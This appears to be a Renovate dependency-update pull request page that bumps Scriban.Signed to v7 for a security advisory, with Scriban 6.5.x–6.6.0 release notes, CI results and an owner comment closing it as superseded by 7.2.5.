[@&#8203;skdishansachin](https://github.com/skdishansachin) #### 🐛 Bug Fixes - Fix JsonElement support for netstandard ([`8894352`](https://github.com/scriban/scriban/commit/88943520)) #### 🧰 Misc - Merge commit from fork ([`a6fe607`](https://github.com/scriban/scriban/commit/a6fe6074)) by [@&#8203;skdishansachin](https://github.com/skdishansachin) **Full Changelog**: [6.5.8...6.6.0](https://github.com/scriban/scriban/compare/6.5.8...6.6.0) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v6.5.8`](https://github.com/scriban/scriban/releases/tag/6.5.8) [Compare Source](https://github.com/scriban/scriban/compare/6.5.7...6.5.8) ### Changes #### 🚀 Enhancements - Evaluate named arg. values in caller context (PR [#&#8203;652](https://github.com/scriban/scriban/issues/652)) by [@&#8203;meld-cp](https://github.com/meld-cp) #### 🧰 Misc - Cleanup `Include` remove magic checks (PR [#&#8203;651](https://github.com/scriban/scriban/issues/651)) by [@&#8203;Benkei](https://github.com/Benkei) **Full Changelog**: [6.5.7...6.5.8](https://github.com/scriban/scriban/compare/6.5.7...6.5.8) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v6.5.7`](https://github.com/scriban/scriban/releases/tag/6.5.7) [Compare Source](https://github.com/scriban/scriban/compare/6.5.6...6.5.7) ### Changes #### 🚀 Enhancements - Refactor `Include` using PushLocal and PopLocal Part 2 (PR [#&#8203;650](https://github.com/scriban/scriban/issues/650)) by [@&#8203;Benkei](https://github.com/Benkei) **Full Changelog**: [6.5.6...6.5.7](https://github.com/scriban/scriban/compare/6.5.6...6.5.7) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v6.5.6`](https://github.com/scriban/scriban/releases/tag/6.5.6) [Compare Source](https://github.com/scriban/scriban/compare/6.5.5...6.5.6) ### Changes #### 🐛 Bug Fixes - Refactor `Include` using PushLocal and PopLocal (PR [#&#8203;649](https://github.com/scriban/scriban/issues/649)) by [@&#8203;Benkei](https://github.com/Benkei) - Fixes documentation ([#&#8203;647](https://github.com/scriban/scriban/issues/647)) ([`6513395`](https://github.com/scriban/scriban/commit/6513395f)) #### 🧰 Misc - Feature/[#&#8203;645](https://github.com/scriban/scriban/issues/645) broken link (PR [#&#8203;646](https://github.com/scriban/scriban/issues/646)) by [@&#8203;mikeclayton](https://github.com/mikeclayton) **Full Changelog**: [6.5.5...6.5.6](https://github.com/scriban/scriban/compare/6.5.5...6.5.6) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v6.5.5`](https://github.com/scriban/scriban/releases/tag/6.5.5) [Compare Source](https://github.com/scriban/scriban/compare/6.5.4...6.5.5) ### Changes #### 🐛 Bug Fixes - Fix `Include` named arg values being lost for nested includes (PR [#&#8203;643](https://github.com/scriban/scriban/issues/643)) by [@&#8203;meld-cp](https://github.com/meld-cp) **Full Changelog**: [6.5.4...6.5.5](https://github.com/scriban/scriban/compare/6.5.4...6.5.5) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v6.5.4`](https://github.com/scriban/scriban/releases/tag/6.5.4) [Compare Source](https://github.com/scriban/scriban/compare/6.5.3...6.5.4) ### Changes #### ✨ New Features - Add instructions ([`6ccb65f`](https://github.com/scriban/scriban/commit/6ccb65f3)) - Add site ([`f9afab3`](https://github.com/scriban/scriban/commit/f9afab3e)) - Add Scriban.AppService playground backend ([`b1072d7`](https://github.com/scriban/scriban/commit/b1072d73)) - Add social banner ([`11cbaca`](https://github.com/scriban/scriban/commit/11cbacaf)) - Add ScriptArray.From() static factory method ([`4b3f041`](https://github.com/scriban/scriban/commit/4b3f0417)) #### 🐛 Bug Fixes - fix date.parse test with 'Z' not working if local timezone > UTC+03:00 (PR [#&#8203;642](https://github.com/scriban/scriban/issues/642)) by [@&#8203;meld-cp](https://github.com/meld-cp) #### 📚 Documentation - Add doc for runtime by splitting existing doc ([`ce0a2b6`](https://github.com/scriban/scriban/commit/ce0a2b60)) #### 🧰 Misc - include template - Named array args don't stay as arrays in the template (PR [#&#8203;641](https://github.com/scriban/scriban/issues/641)) by [@&#8203;meld-cp](https://github.com/meld-cp) - Redirect Try out links to site playground, support URL parameters ([`0592e64`](https://github.com/scriban/scriban/commit/0592e64c)) - Update readme for the online demo ([`5b9f511`](https://github.com/scriban/scriban/commit/5b9f5113)) - Use dark theme ([`18331e9`](https://github.com/scriban/scriban/commit/18331e9a)) **Full Changelog**: [6.5.3...6.5.4](https://github.com/scriban/scriban/compare/6.5.3...6.5.4) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v6.5.3`](https://github.com/scriban/scriban/releases/tag/6.5.3) [Compare Source](https://github.com/scriban/scriban/compare/6.5.2...6.5.3) ### Changes #### 🐛 Bug Fixes - Fix setting variable in a scope while it is also declared in an outer scope ([`577e2d4`](https://github.com/scriban/scriban/commit/577e2d47)) #### 📦 Dependencies - Bump Scriban to net8.0 ([`fc29ec6`](https://github.com/scriban/scriban/commit/fc29ec64)) #### 🧰 Misc - Update date.now in tests for 2026 ([`f00a6bb`](https://github.com/scriban/scriban/commit/f00a6bbf)) **Full Changelog**: [6.5.2...6.5.3](https://github.com/scriban/scriban/compare/6.5.2...6.5.3) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Brussels) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNTIuMSIsInVwZGF0ZWRJblZlciI6IjQzLjI1Mi4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJzZWN1cml0eSJdfQ==-->
renovate added the dependenciessecurity labels 2026-07-06 05:01:03 +02:00
renovate added 1 commit 2026-07-06 05:01:04 +02:00
chore(deps): update dependency scriban.signed to v7 [security]
Build ErsatzTV Image / Build & test (.NET) (pull_request) Successful in 4m32s
Build ErsatzTV Image / EF migration integrity (SQLite + MySql) (pull_request) Successful in 5m3s
Build ErsatzTV Image / Build & push image (amd64) (pull_request) Has been skipped
f2536b48ad
Owner

Closing as obsolete: main already carries Scriban.Signed 7.2.5 (commit 47c3c3b5, fix/scriban-ghsa-5wr9), which supersedes this 7.2.0 bump and resolves GHSA-5wr9-m6jw-xx44. Renovate will confirm on its next run.

Closing as obsolete: main already carries Scriban.Signed **7.2.5** (commit 47c3c3b5, `fix/scriban-ghsa-5wr9`), which supersedes this 7.2.0 bump and resolves GHSA-5wr9-m6jw-xx44. Renovate will confirm on its next run.
timothy closed this pull request 2026-07-07 11:43:48 +02:00

Pull request closed

This pull request cannot be reopened because the branch was deleted.
Sign in to join this conversation.